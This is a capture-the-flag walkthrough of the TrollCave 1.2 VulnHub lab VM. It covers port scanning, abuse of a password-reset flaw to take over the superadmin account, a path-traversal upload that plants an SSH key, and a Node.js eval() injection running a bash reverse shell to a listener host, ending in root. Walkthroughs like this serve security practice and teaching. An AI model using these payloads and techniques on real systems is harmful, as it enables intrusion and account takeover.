TrollCave 1.2 Walkthrough

This is a walkthrough of the TrollCave 1.2 vulnerable VM. You can find it on VulnHub here: https://www.vulnhub.com/entry/trollcave-12,230/

Scanning

I’ll start by finding the IP address of our target using netdiscover:

root ~ # netdiscover -i eth1 -r 10.10.1.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180
 _________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -------------------------------------------------------------------------
 10.10.1.1       0a:00:27:00:00:02      1      60  Unknown vendor
 10.10.1.10      08:00:27:d0:d7:c5      1      60  PCS Systemtechnik GmbH
 10.10.1.100     08:00:27:0c:71:f1      1      60  PCS Systemtechnik GmbH


Now for some portscanning with nmap:

root ~ # nmap -sV -O 10.10.1.10
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-03 22:28 EDT
Nmap scan report for 10.10.1.10
Host is up (0.00036s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.10.3 (Ubuntu)
MAC Address: 08:00:27:D0:D7:C5 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There’s only 2 services running, SSH & a web server. I did run nmap again, scanning all ports this time (nmap -p- -T5 10.10.1.10) and found nothing else.

Enumeration

I’ll start by taking a look at the website & see what I can find. By the way, I’ve fired up BurpSuite (community edition) to run this through a proxy & see what additional information I can find that the browser won’t show:

It looks like a standard blogging web app built with Ruby on Rails. That “password reset” blog post looks interesting. It says:

so i've been getting a lot of emails lately from users who forgot their passwords and need to reset them. because the site doesn't have one of those 'forgot password' buttons, i've been having to do all the resets manually. i'm getting really tired of it

ergo it's time to implement password reset. busy with this at the moment, but having trouble with site emails. you might have noticed that activation has been turned off for new users because of this.

so far i've implemented a password_resets resource in rails and it's about 90% working except for the email thing. it's very frustrating. if anyone has any suggestions about how to get the email working, please drop me a pm

--coderguy

He mentions a “password_resets” resource in rails that isn’t fully implemented. Doing a little Google searching I found that I could access this resource with the following URL: http://10.10.1.10/password_resets/new

Excellent! That gets me to the password reset page. Now would be a good time to note that I enumerated all of the users by visiting each of the /users/ URLs that ends in a number (e.g. http://10.10.1.10/users/1). There were 17 in total. Here’s the results of that:

USER          ROLE        NUM
King          superadmin  1
dave          admin       2
dragon        admin       3
coderguy      admin       4
cooldude89    moderator   5
Sir           moderator   6
Q             moderator   7
teflon        moderator   8
TheDankMan    reg member  9
artemus       reg member  10
MrPotatoHead  reg member  11
Ian           reg member  12
kev           member      13
notanother    member      14
anybodyhome   member      15
onlyme        member      16
xer           member      17


Exploitation

The first password I tried resetting was for “king” as he’s the “superadmin.” However, I got punted back to the home page with a message saying “Can only reset normal members’ passwords for now.” I tried several other users that weren’t “normal members” and got the same error. Last, I tried “xer” and found some success:

Great! I took that URL and put it in a new tab. This took me to the Reset Password page.

But I don’t want access to a regular user. I want an admin, preferably a “superadmin.” So I changed the URL from “http://10.10.1.10/password_resets/edit.q-g9qjeKaeAoEDxY7bRagw?name=xer” to “http://10.10.1.10/password_resets/edit.q-g9qjeKaeAoEDxY7bRagw?name=King” and it still took me to a password reset page! I set a new password & was logged in as King! And it looks like I now have access to some additional blog posts only visible to admins:

Now the first thing I’m thinking of is uploading a PHP reverse shell. In the “The King is Dead. Long Live the King!” blog post, the user, dragon, states that King will be gone for a while and he’s using the account now. In a comment, he also states that, “File upload will be re-enabled once coderguy has addressed the security concerns around the functionality.” So this should be a good place to start.

First, I go to the “Admin panel” and enable file upload. Next, I’ll go to the “File manager” page. I took pentestmonkey’s PHP reverse shell, modified the IP variable, started a netcat listener (# nc -vnlp 1234), uploaded the file, and accessed the URL (http://10.10.1.10/uploads/King/php-reverse-shell.php). However, all I got was a page with the source code. Looks like PHP isn’t running.

I messed around with this (for a lot longer than I’d like to admit), uploading various files including HTML with embedded ruby script. Nothing seemed to work. Then I tried uploading to other locations. Seems you can upload to other locations by specifying it in the “Alternate file name” box. I uploaded a test.html file with “../../test.html” as an alternate file name and it got uploaded to the www root directory (http://10.10.1.10/test.html).

Looking at that last screenshot, you can see that coderguy is using the “rails” user. And we know that SSH is running. Let’s see if we can set the “authorized_keys” file for the “rails” user. I uploaded my “/root/.ssh/id_rsa.pub” file:

After the upload I was to SSH into the machine!

root ~ # ssh rails@10.10.1.10
The authenticity of host '10.10.1.10 (10.10.1.10)' can't be established.
ECDSA key fingerprint is SHA256:5i/FfNIcrHa44dcYPjVa145eHfSZYZESRXiv0d62SeE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.1.10' (ECDSA) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Thu Jul  5 19:39:21 2018 from 10.10.1.2
$ id
uid=1001(rails) gid=1001(rails) groups=1001(rails)
$


Privilege Escalation

After digging around a bit, the “king” user has an interesting node.js app in /home/king/calc/calc.js. One line in particular (http.createServer(onRequest).listen(8888, ‘127.0.0.1’);) made me think that this was a running server.

$ ps aux | grep calc
king     21522  0.0  2.8 744952 21316 ?        Ssl  22:59   0:00 /usr/bin/nodejs /home/king/calc/calc.js
$ netstat -pant
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -

As you can see, something is indeed running and only listening on localhost. So I setup an SSH tunnel to use as a SOCKS proxy so my browser can access this application.

root ~ # ssh -D 9999 -fCqN rails@10.10.1.10

And of course it doen’t seem to be working right. Looking at the script, I noticed that the “calc” function uses the javascript “eval()” function. After doing some research & realizing this was vulnerable, I messed around with it using curl while SSH’ed into the machine.

$ bash
rails@trollcave:~$ curl 127.0.0.1:8888
<h1>The King's Calculator</h1><p>Enter your calculation below:</p><form action='/calc' method='get'><input type='text' name='sum' value='1+1'><input type='submit' value='Calculate!'></form><hr style='margin-top:50%'><small><i>Powered by node.js</i></small>
rails@trollcave:~$ curl 127.0.0.1:8888/calc
curl: (52) Empty reply from server
rails@trollcave:~$ curl 127.0.0.1:8888/calc?sum=1%2B1
curl: (52) Empty reply from server
rails@trollcave:~$ curl "127.0.0.1:8888/calc?sum=require('child_process').exec('id')"
[object Object]

That “[object Object]” makes me think it’s working. After playing around some more, it seems that any command with a space after it won’t work. So I wrote a small bash script using pentestmonkey’s Bash reverse shell.

rails@trollcave:~$ cat test.sh
#!/usr/bin/env bash
bash -i >& /dev/tcp/10.10.1.2/4444 0>&1


I started a netcat listener on my kali machine and executed the script:

rails@trollcave:~$ curl "127.0.0.1:8888/calc?sum=require('child_process').exec('/home/rails/test.sh')"
[object Object]
root ~ # nc -vnlp 4444
listening on [any] 4444 ...
connect to [10.10.1.2] from (UNKNOWN) [10.10.1.10] 51852
bash: cannot set terminal process group (22050): Inappropriate ioctl for device
bash: no job control in this shell
king@trollcave:~/calc$ sudo -i
sudo -i
mesg: ttyname failed: Inappropriate ioctl for device
cd /root
ls
flag.txt
cat flag.txt
et tu, dragon?

c0db34ce8adaa7c07d064cc1697e3d7cb8aec9d5a0c4809d5a0c4809b6be23044d15379c5


Apparently King has passwordless sudo privileges. Lucky for me!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.